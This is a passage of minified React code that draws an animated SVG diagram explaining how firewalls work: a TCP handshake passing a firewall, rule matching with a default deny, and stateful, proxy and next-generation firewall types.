${t})`,className:`select-none`,children:[i&&(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`40`,fill:c}),(0,k.jsx)(`rect`,{x:`-26`,y:`-32`,width:`52`,height:`34`,rx:`4`,fill:`#0f172a`,stroke:s,strokeWidth:i?2.5:1.5}),(0,k.jsx)(`rect`,{x:`-22`,y:`-28`,width:`44`,height:`26`,rx:`2`,fill:`#020617`}),(0,k.jsx)(`rect`,{x:`-22`,y:`-28`,width:`44`,height:`6`,rx:`1.5`,fill:`#1e293b`}),(0,k.jsx)(`circle`,{cx:`-18`,cy:`-25`,r:`1`,fill:`#ef4444`}),(0,k.jsx)(`circle`,{cx:`-15`,cy:`-25`,r:`1`,fill:`#f59e0b`}),(0,k.jsx)(`circle`,{cx:`-12`,cy:`-25`,r:`1`,fill:`#10b981`}),(0,k.jsx)(`rect`,{x:`-18`,y:`-19`,width:`20`,height:`2`,rx:`1`,fill:i?`#38bdf8`:`#475569`}),(0,k.jsx)(`rect`,{x:`-18`,y:`-14`,width:`28`,height:`2`,rx:`1`,fill:i?`#818cf8`:`#334155`}),(0,k.jsx)(`rect`,{x:`-18`,y:`-9`,width:`14`,height:`2`,rx:`1`,fill:i?`#4ade80`:`#334155`}),(0,k.jsx)(`path`,{d:`M -30 2 Q -28 0 -24 0 L 24 0 Q 28 0 30 2 L 28 7 L -28 7 Z`,fill:`#334155`,stroke:`#1e293b`,strokeWidth:`1`}),(0,k.jsx)(`rect`,{x:`-8`,y:`3`,width:`16`,height:`3`,rx:`1`,fill:`#1e293b`}),(0,k.jsx)(`text`,{x:`0`,y:`20`,textAnchor:`middle`,fontSize:`10`,fontWeight:`bold`,fill:`#0f172a`,fontFamily:`sans-serif`,children:n}),r&&(0,k.jsx)(`text`,{x:`0`,y:`31`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:s,fontFamily:`monospace`,children:r})]})},N=({cx:e,cy:t,label:n=`FIREWALL`,sub:r=`Security Gateway`,active:i,success:a,danger:o,scannerActive:s})=>{let c=o?`#ef4444`:a?`#10b981`:i?`#2563eb`:`#475569`,l=o?`#ef444425`:a?`#10b98125`:i?`#2563eb25`:`transparent`,u=o?`#dc2626`:a?`#059669`:i?`#2563eb`:`#475569`;return(0,k.jsxs)(`g`,{transform:`translate(${e}, ${t})`,className:`select-none`,children:[i&&(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`44`,fill:l}),(0,k.jsx)(`rect`,{x:`-32`,y:`-32`,width:`64`,height:`42`,rx:`6`,fill:`#0f172a`,stroke:c,strokeWidth:i?2.5:1.5}),(0,k.jsx)(`rect`,{x:`-35`,y:`-28`,width:`3`,height:`34`,rx:`1`,fill:`#334155`}),(0,k.jsx)(`circle`,{cx:`-33.5`,cy:`-22`,r:`1`,fill:`#94a3b8`}),(0,k.jsx)(`circle`,{cx:`-33.5`,cy:`0`,r:`1`,fill:`#94a3b8`}),(0,k.jsx)(`rect`,{x:`32`,y:`-28`,width:`3`,height:`34`,rx:`1`,fill:`#334155`}),(0,k.jsx)(`circle`,{cx:`33.5`,cy:`-22`,r:`1`,fill:`#94a3b8`}),(0,k.jsx)(`circle`,{cx:`33.5`,cy:`0`,r:`1`,fill:`#94a3b8`}),(0,k.jsx)(`line`,{x1:`-24`,y1:`-24`,x2:`0`,y2:`-24`,stroke:`#334155`,strokeWidth:`1.5`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`-24`,y1:`-19`,x2:`0`,y2:`-19`,stroke:`#334155`,strokeWidth:`1.5`,strokeLinecap:`round`}),(0,k.jsx)(`path`,{d:`M 14 -24 L 24 -19 V -11 C 24 -5 14 -1 14 -1 C 14 -1 4 -5 4 -11 V -19 Z`,fill:u,stroke:`#ffffff`,strokeWidth:`1.3`}),(0,k.jsx)(`path`,{d:`M 10 -11 L 13 -8 L 19 -14`,stroke:`#ffffff`,strokeWidth:`1.5`,strokeLinecap:`round`,strokeLinejoin:`round`}),s&&(0,k.jsx)(`line`,{x1:`-26`,y1:`-8`,x2:`26`,y2:`-8`,stroke:`#38bdf8`,strokeWidth:`2`,strokeDasharray:`3 2`,className:`animate-pulse`}),(0,k.jsx)(`rect`,{x:`-24`,y:`-3`,width:`7`,height:`6`,rx:`1`,fill:`#1e293b`,stroke:`#475569`,strokeWidth:`0.5`}),(0,k.jsx)(`circle`,{cx:`-20.5`,cy:`-5`,r:`1.2`,fill:a?`#10b981`:o?`#ef4444`:`#38bdf8`}),(0,k.jsx)(`rect`,{x:`-14`,y:`-3`,width:`7`,height:`6`,rx:`1`,fill:`#1e293b`,stroke:`#475569`,strokeWidth:`0.5`}),(0,k.jsx)(`circle`,{cx:`-10.5`,cy:`-5`,r:`1.2`,fill:`#10b981`}),(0,k.jsx)(`circle`,{cx:`16`,cy:`3`,r:`1.5`,fill:`#10b981`}),(0,k.jsx)(`circle`,{cx:`22`,cy:`3`,r:`1.5`,fill:i?`#38bdf8`:`#64748b`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`10`,fontWeight:`bold`,fill:`#0f172a`,fontFamily:`sans-serif`,children:n}),r&&(0,k.jsx)(`text`,{x:`0`,y:`33`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:c,fontFamily:`monospace`,children:r})]})},P=({cx:e,cy:t,label:n=`SERVER`,sub:r=`203.0.113.50:443`,active:i,success:a,danger:o})=>{let s=o?`#ef4444`:a?`#10b981`:i?`#2563eb`:`#64748b`,c=o?`#ef444425`:a?`#10b98125`:i?`#2563eb25`:`transparent`;return(0,k.jsxs)(`g`,{transform:`translate(${e}, ${t})`,className:`select-none`,children:[i&&(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`42`,fill:c}),(0,k.jsx)(`rect`,{x:`-26`,y:`-34`,width:`52`,height:`46`,rx:`5`,fill:`#0f172a`,stroke:s,strokeWidth:i?2.5:1.5}),[-28,-16,-4].map((e,t)=>(0,k.jsxs)(`g`,{children:[(0,k.jsx)(`rect`,{x:`-22`,y:e,width:`44`,height:`9`,rx:`1.8`,fill:`#1e293b`,stroke:`#334155`,strokeWidth:`0.8`}),(0,k.jsx)(`line`,{x1:`-18`,y1:e+4.5,x2:`4`,y2:e+4.5,stroke:`#475569`,strokeWidth:`1.2`,strokeLinecap:`round`}),(0,k.jsx)(`circle`,{cx:`12`,cy:e+4.5,r:`1.5`,fill:i?`#22c55e`:`#64748b`}),(0,k.jsx)(`circle`,{cx:`17`,cy:e+4.5,r:`1.5`,fill:i?`#38bdf8`:`#64748b`})]},t)),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`10`,fontWeight:`bold`,fill:`#0f172a`,fontFamily:`sans-serif`,children:n}),r&&(0,k.jsx)(`text`,{x:`0`,y:`33`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:s,fontFamily:`monospace`,children:r})]})},F=({cx:e,cy:t,label:n=`ROUTER`,sub:r=`Edge Gateway`,active:i})=>{let a=i?`#2563eb`:`#64748b`;return(0,k.jsxs)(`g`,{transform:`translate(${e}, ${t})`,className:`select-none`,children:[i&&(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`38`,fill:`#2563eb25`}),(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`24`,fill:`#0f172a`,stroke:a,strokeWidth:i?2.5:1.5}),(0,k.jsx)(`path`,{d:`M -11 -8 L 11 -8 M 7 -12 L 11 -8 L 7 -4`,stroke:`#ffffff`,strokeWidth:`2`,strokeLinecap:`round`,strokeLinejoin:`round`}),(0,k.jsx)(`path`,{d:`M 0 -19 L 0 3 M -4 -15 L 0 -19 L 4 -15`,stroke:`#ffffff`,strokeWidth:`2`,strokeLinecap:`round`,strokeLinejoin:`round`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`10`,fontWeight:`bold`,fill:`#0f172a`,fontFamily:`sans-serif`,children:n}),r&&(0,k.jsx)(`text`,{x:`0`,y:`35`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:a,fontFamily:`monospace`,children:r})]})},Bt=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4&&e<=9,a=e>=10,o=e===5,s=e>=6&&e<=8,c=e>=6,l=e>=7,u=e>=8,d=e>=8,f=e===9,p=e===10,m=e===11,h=e>=12,g=90;e<=4?g=90:o?g=230:s?g=370:f?g=510:e>=10&&(g=650);let _=650;return e===10?_=650:e===11?_=370:e>=12&&(_=90),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[r&&(0,k.jsx)(`line`,{x1:`90`,y1:`85`,x2:`650`,y2:`85`,stroke:`#cbd5e1`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),o&&(0,k.jsx)(A,{x1:135,y1:85,x2:325,y2:85,color:`#2563eb`,label:`TRANSMITTING →`}),f&&(0,k.jsx)(A,{x1:415,y1:85,x2:605,y2:85,color:`#10b981`,label:`FORWARDED →`}),m&&(0,k.jsx)(A,{x1:605,y1:85,x2:135,y2:85,color:`#8b5cf6`,reverse:!0,label:`← SYN-ACK (STATEFUL RETURN)`}),(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(M,{cx:90,cy:85,label:`CLIENT`,ip:`10.0.0.25`,active:e<=5||h,success:h,statusText:h?`ESTABLISHED ✓`:e===0?`READY`:void 0})}),t&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(N,{cx:370,cy:85,label:`FIREWALL`,sub:s?`INSPECTING`:`Security Gateway`,active:s||m,success:d,scannerActive:s})}),n&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(P,{cx:650,cy:85,label:`SERVER`,sub:`203.0.113.50:443`,active:p||e>=10&&!h,success:e>=10,statusText:e>=10?`ACCEPTED ✓`:`STANDBY`})}),i&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:g,cy:34,title:d?`PERMITTED`:`TCP SYN`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`203.0.113.50`,flags:`SYN`,status:d?`ALLOW`:c?`INSPECT`:`NORMAL`,scale:.82})}),a&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:_,cy:34,title:`SYN-ACK`,protocol:`TCP`,port:`52410`,src:`203.0.113.50`,dst:`10.0.0.25`,flags:`SYN,ACK`,status:`ALLOW`,scale:.82})}),h&&(0,k.jsxs)(`g`,{transform:`translate(370, 22)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`-210`,y:`-12`,width:`420`,height:`24`,rx:`12`,fill:`#ecfdf5`,stroke:`#10b981`,strokeWidth:`1.8`}),(0,k.jsx)(`text`,{x:`0`,y:`4.5`,textAnchor:`middle`,fill:`#065f46`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`✓ END-TO-END FLOW: SYN → FW INSPECTED → ALLOWED → SYN-ACK RETURNED`})]}),(0,k.jsxs)(`g`,{transform:`translate(35, 145)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`690`,height:`180`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`690`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,fontFamily:`sans-serif`,children:`FIREWALL INSPECTION & RULE EVALUATION ENGINE`}),(0,k.jsx)(`line`,{x1:`0`,y1:`26`,x2:`690`,y2:`26`,stroke:`#e2e8f0`,strokeWidth:`1`}),(0,k.jsxs)(`g`,{transform:`translate(16, 40)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`EXTRACTED 5-TUPLE:`}),(0,k.jsxs)(`g`,{transform:`translate(115, -10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`105`,height:`20`,rx:`4`,fill:c?`#eff6ff`:`#f1f5f9`,stroke:c?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`52`,y:`13`,textAnchor:`middle`,fill:c?`#1e40af`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`SRC: 10.0.0.25`})]}),(0,k.jsxs)(`g`,{transform:`translate(230, -10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`115`,height:`20`,rx:`4`,fill:c?`#eff6ff`:`#f1f5f9`,stroke:c?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`57`,y:`13`,textAnchor:`middle`,fill:c?`#1e40af`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DST: 203.0.113.50`})]}),(0,k.jsxs)(`g`,{transform:`translate(355, -10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`85`,height:`20`,rx:`4`,fill:c?`#eff6ff`:`#f1f5f9`,stroke:c?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`42`,y:`13`,textAnchor:`middle`,fill:c?`#1e40af`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PROTO: TCP`})]}),(0,k.jsxs)(`g`,{transform:`translate(450, -10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`80`,height:`20`,rx:`4`,fill:c?`#eff6ff`:`#f1f5f9`,stroke:c?`#3b82f6`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`40`,y:`13`,textAnchor:`middle`,fill:c?`#1e40af`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PORT: :443`})]}),d&&(0,k.jsxs)(`g`,{transform:`translate(540, -10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`105`,height:`20`,rx:`4`,fill:`#ecfdf5`,stroke:`#10b981`}),(0,k.jsx)(`text`,{x:`52`,y:`13`,textAnchor:`middle`,fill:`#065f46`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`✓ PERMITTED`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 75)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`658`,height:`18`,fill:`#f1f5f9`,rx:`3`}),(0,k.jsx)(`text`,{x:`12`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`RULE`}),(0,k.jsx)(`text`,{x:`55`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION`}),(0,k.jsx)(`text`,{x:`125`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SOURCE IP`}),(0,k.jsx)(`text`,{x:`245`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DESTINATION`}),(0,k.jsx)(`text`,{x:`370`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PORT`}),(0,k.jsx)(`text`,{x:`475`,y:`12`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`STATUS`}),(0,k.jsx)(`rect`,{x:`0`,y:`22`,width:`658`,height:`26`,rx:`4`,fill:u?`#ecfdf5`:l?`#eff6ff`:`#ffffff`,stroke:u?`#10b981`:l?`#3b82f6`:`#e2e8f0`,strokeWidth:l||u?1.5:1}),(0,k.jsx)(`text`,{x:`12`,y:`38`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`1`}),(0,k.jsx)(`text`,{x:`55`,y:`38`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`125`,y:`38`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`10.0.0.0/24`}),(0,k.jsx)(`text`,{x:`245`,y:`38`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50`}),(0,k.jsx)(`text`,{x:`370`,y:`38`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP:443 (HTTPS)`}),(0,k.jsx)(`text`,{x:`475`,y:`38`,fill:u?`#059669`:l?`#2563eb`:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:u?`MATCH FOUND: ALLOW ✓`:l?`EVALUATING...`:`PENDING`}),(0,k.jsx)(`rect`,{x:`0`,y:`52`,width:`658`,height:`22`,rx:`3`,fill:`#f8fafc`}),(0,k.jsx)(`text`,{x:`12`,y:`66`,fill:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DEF`}),(0,k.jsx)(`text`,{x:`55`,y:`66`,fill:`#dc2626`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`125`,y:`66`,fill:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`245`,y:`66`,fill:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`370`,y:`66`,fill:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`475`,y:`66`,fill:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:u?`SKIPPED (First Match Rule Applied)`:`DEFAULT`})]})]})]})},Vt=({currentStepIndex:e})=>{let t=e;return(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(35, 14)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`690`,height:`28`,rx:`14`,fill:`#f8fafc`,stroke:`#cbd5e1`,strokeWidth:`1`}),[`1. Packet Filtering`,`2. Stateful Inspection`,`3. Application Proxy`,`4. Next-Gen (NGFW)`,`5. Visual Matrix`].map((e,n)=>{let r=n===t;return(0,k.jsxs)(`g`,{transform:`translate(${12+n*136}, 3)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`128`,height:`22`,rx:`11`,fill:r?`#2563eb`:`transparent`}),(0,k.jsx)(`text`,{x:`64`,y:`14`,textAnchor:`middle`,fill:r?`#ffffff`:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`sans-serif`,children:e})]},e)})]}),t<=3&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(`line`,{x1:`90`,y1:`95`,x2:`650`,y2:`95`,stroke:`#e2e8f0`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),t===0&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:135,y1:95,x2:325,y2:95,color:`#2563eb`,label:`L3/L4 HEADERS`}),(0,k.jsx)(A,{x1:415,y1:95,x2:605,y2:95,color:`#10b981`,label:`STATISTIC ALLOW`}),(0,k.jsx)(M,{cx:90,cy:95,label:`CLIENT`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:370,cy:95,label:`PACKET FILTER`,sub:`Stateless L3/L4`,active:!0,scannerActive:!0}),(0,k.jsx)(P,{cx:650,cy:95,label:`SERVER`,sub:`203.0.113.50:443`,active:!0,success:!0}),(0,k.jsx)(j,{cx:230,cy:42,title:`IP PACKET`,protocol:`TCP`,port:`443`,src:`10.0.0.25`,dst:`203.0.113.50`,flags:`SYN`,status:`INSPECT`,scale:.82})]}),t===1&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:135,y1:90,x2:325,y2:90,color:`#2563eb`,label:`SYN`}),(0,k.jsx)(A,{x1:415,y1:90,x2:605,y2:90,color:`#2563eb`,label:`SYN`}),(0,k.jsx)(A,{x1:605,y1:105,x2:415,y2:105,color:`#10b981`,reverse:!0,label:`SYN-ACK`,curveOffset:16}),(0,k.jsx)(A,{x1:325,y1:105,x2:135,y2:105,color:`#10b981`,reverse:!0,label:`SYN-ACK ✓`,curveOffset:16}),(0,k.jsx)(M,{cx:90,cy:95,label:`CLIENT`,ip:`10.0.0.25`,active:!0,success:!0}),(0,k.jsx)(N,{cx:370,cy:95,label:`STATEFUL FW`,sub:`Session Table`,active:!0,success:!0}),(0,k.jsx)(P,{cx:650,cy:95,label:`SERVER`,sub:`203.0.113.50:443`,active:!0,success:!0}),(0,k.jsx)(j,{cx:510,cy:42,title:`HANDSHAKE`,protocol:`TCP`,port:`443`,src:`SERVER`,dst:`CLIENT`,flags:`SYN-ACK`,status:`ALLOW`,scale:.82})]}),t===2&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:135,y1:95,x2:325,y2:95,color:`#8b5cf6`,label:`CONN 1 (TERMINATE)`}),(0,k.jsx)(A,{x1:415,y1:95,x2:605,y2:95,color:`#059669`,label:`CONN 2 (INDEPENDENT)`}),(0,k.jsx)(M,{cx:90,cy:95,label:`CLIENT`,ip:`10.0.0.25`,active:!0}),(0,k.jsxs)(`g`,{transform:`translate(370, 95)`,children:[(0,k.jsx)(`circle`,{cx:`0`,cy:`-8`,r:`40`,fill:`#8b5cf620`}),(0,k.jsx)(`rect`,{x:`-30`,y:`-30`,width:`60`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:`#8b5cf6`,strokeWidth:`2.5`}),(0,k.jsx)(`text`,{x:`0`,y:`-12`,textAnchor:`middle`,fill:`#c084fc`,fontSize:`7.5`,fontWeight:`bold`,children:`L7 PROXY`}),(0,k.jsx)(`line`,{x1:`-22`,y1:`-6`,x2:`22`,y2:`-6`,stroke:`#334155`,strokeWidth:`1`}),(0,k.jsx)(`text`,{x:`0`,y:`4`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`ISOLATOR`}),(0,k.jsx)(`text`,{x:`0`,y:`20`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`PROXY GATEWAY`}),(0,k.jsx)(`text`,{x:`0`,y:`31`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#8b5cf6`,fontFamily:`monospace`,children:`Dual Socket Bridge`})]}),(0,k.jsx)(P,{cx:650,cy:95,label:`SERVER`,sub:`203.0.113.50:80`,active:!0,success:!0})]}),t===3&&(0,k.jsxs)(k.Fragment,{children:[(0,k.jsx)(A,{x1:135,y1:95,x2:325,y2:95,color:`#2563eb`,label:`TLS / APP TRAFFIC`}),(0,k.jsx)(A,{x1:415,y1:95,x2:605,y2:95,color:`#10b981`,label:`CLEAN DATA`}),(0,k.jsx)(M,{cx:90,cy:95,label:`CLIENT (jdoe)`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:370,cy:95,label:`NEXT-GEN FW`,sub:`DPI + App-ID + IPS`,active:!0,success:!0,scannerActive:!0}),(0,k.jsx)(P,{cx:650,cy:95,label:`CLOUD APP`,sub:`Salesforce.com`,active:!0,success:!0}),(0,k.jsx)(j,{cx:230,cy:42,title:`DPI PAYLOAD`,protocol:`HTTPS`,port:`443`,src:`jdoe@corp`,dst:`Salesforce`,flags:`CLEAN`,status:`ALLOW`,scale:.82})]}),(0,k.jsxs)(`g`,{transform:`translate(35, 160)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`690`,height:`165`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`690`,height:`26`,rx:`9`,fill:`#f8fafc`}),(0,k.jsxs)(`text`,{x:`16`,y:`17`,fill:`#334155`,fontSize:`10.5`,fontWeight:`bold`,fontFamily:`sans-serif`,children:[t===0&&`PACKET FILTERING INSPECTION STACK (L3/L4 STATIC)`,t===1&&`STATEFUL CONNECTION TABLE (SESSION MEMORY)`,t===2&&`APPLICATION PROXY ARCHITECTURE (TWO INDEPENDENT TCP CONNECTIONS)`,t===3&&`NEXT-GENERATION FIREWALL (NGFW) DEEP PACKET INSPECTION STACK`]}),(0,k.jsx)(`line`,{x1:`0`,y1:`26`,x2:`690`,y2:`26`,stroke:`#e2e8f0`,strokeWidth:`1`}),t===0&&(0,k.jsxs)(`g`,{transform:`translate(20, 44)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#475569`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`EVALUATED FIELDS:`}),(0,k.jsx)(`rect`,{x:`125`,y:`-11`,width:`90`,height:`20`,rx:`4`,fill:`#eff6ff`,stroke:`#3b82f6`}),(0,k.jsx)(`text`,{x:`170`,y:`3`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`SRC: 10.0.0.25`}),(0,k.jsx)(`rect`,{x:`225`,y:`-11`,width:`105`,height:`20`,rx:`4`,fill:`#eff6ff`,stroke:`#3b82f6`}),(0,k.jsx)(`text`,{x:`277`,y:`3`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`DST: 203.0.113.50`}),(0,k.jsx)(`rect`,{x:`340`,y:`-11`,width:`85`,height:`20`,rx:`4`,fill:`#eff6ff`,stroke:`#3b82f6`}),(0,k.jsx)(`text`,{x:`382`,y:`3`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PROTO: TCP`}),(0,k.jsx)(`rect`,{x:`435`,y:`-11`,width:`80`,height:`20`,rx:`4`,fill:`#eff6ff`,stroke:`#3b82f6`}),(0,k.jsx)(`text`,{x:`475`,y:`3`,textAnchor:`middle`,fill:`#1e40af`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`PORT: :443`}),(0,k.jsx)(`rect`,{x:`525`,y:`-11`,width:`120`,height:`20`,rx:`4`,fill:`#fef2f2`,stroke:`#ef4444`}),(0,k.jsx)(`text`,{x:`585`,y:`3`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`NO SESSION STATE`}),(0,k.jsx)(`text`,{x:`0`,y:`42`,fill:`#64748b`,fontSize:`8.5`,children:`Evaluates each packet in total isolation. Cannot track whether a packet is a response to an existing outbound connection.`})]}),t===1&&(0,k.jsxs)(`g`,{transform:`translate(20, 40)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`650`,height:`20`,fill:`#f1f5f9`,rx:`3`}),(0,k.jsx)(`text`,{x:`12`,y:`13`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`SOURCE`}),(0,k.jsx)(`text`,{x:`160`,y:`13`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DESTINATION`}),(0,k.jsx)(`text`,{x:`310`,y:`13`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PROTOCOL`}),(0,k.jsx)(`text`,{x:`430`,y:`13`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`STATE`}),(0,k.jsx)(`text`,{x:`540`,y:`13`,fill:`#475569`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ACTION`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`650`,height:`26`,rx:`4`,fill:`#ecfdf5`,stroke:`#10b981`}),(0,k.jsx)(`text`,{x:`12`,y:`41`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`10.0.0.25:49152`}),(0,k.jsx)(`text`,{x:`160`,y:`41`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50:443`}),(0,k.jsx)(`text`,{x:`310`,y:`41`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP`}),(0,k.jsx)(`text`,{x:`430`,y:`41`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ESTABLISHED ✓`}),(0,k.jsx)(`text`,{x:`540`,y:`41`,fill:`#059669`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW RETURN`})]}),t===2&&(0,k.jsxs)(`g`,{transform:`translate(20, 42)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`310`,height:`56`,rx:`6`,fill:`#faf5ff`,stroke:`#c084fc`}),(0,k.jsx)(`text`,{x:`12`,y:`20`,fill:`#6b21a8`,fontSize:`8.5`,fontWeight:`bold`,children:`CLIENT ↔ PROXY SOCKET`}),(0,k.jsx)(`text`,{x:`12`,y:`38`,fill:`#475569`,fontSize:`7.5`,fontFamily:`monospace`,children:`Terminates client handshake, buffers full payload.`}),(0,k.jsx)(`rect`,{x:`330`,y:`0`,width:`310`,height:`56`,rx:`6`,fill:`#ecfdf5`,stroke:`#34d399`}),(0,k.jsx)(`text`,{x:`342`,y:`20`,fill:`#065f46`,fontSize:`8.5`,fontWeight:`bold`,children:`PROXY ↔ SERVER 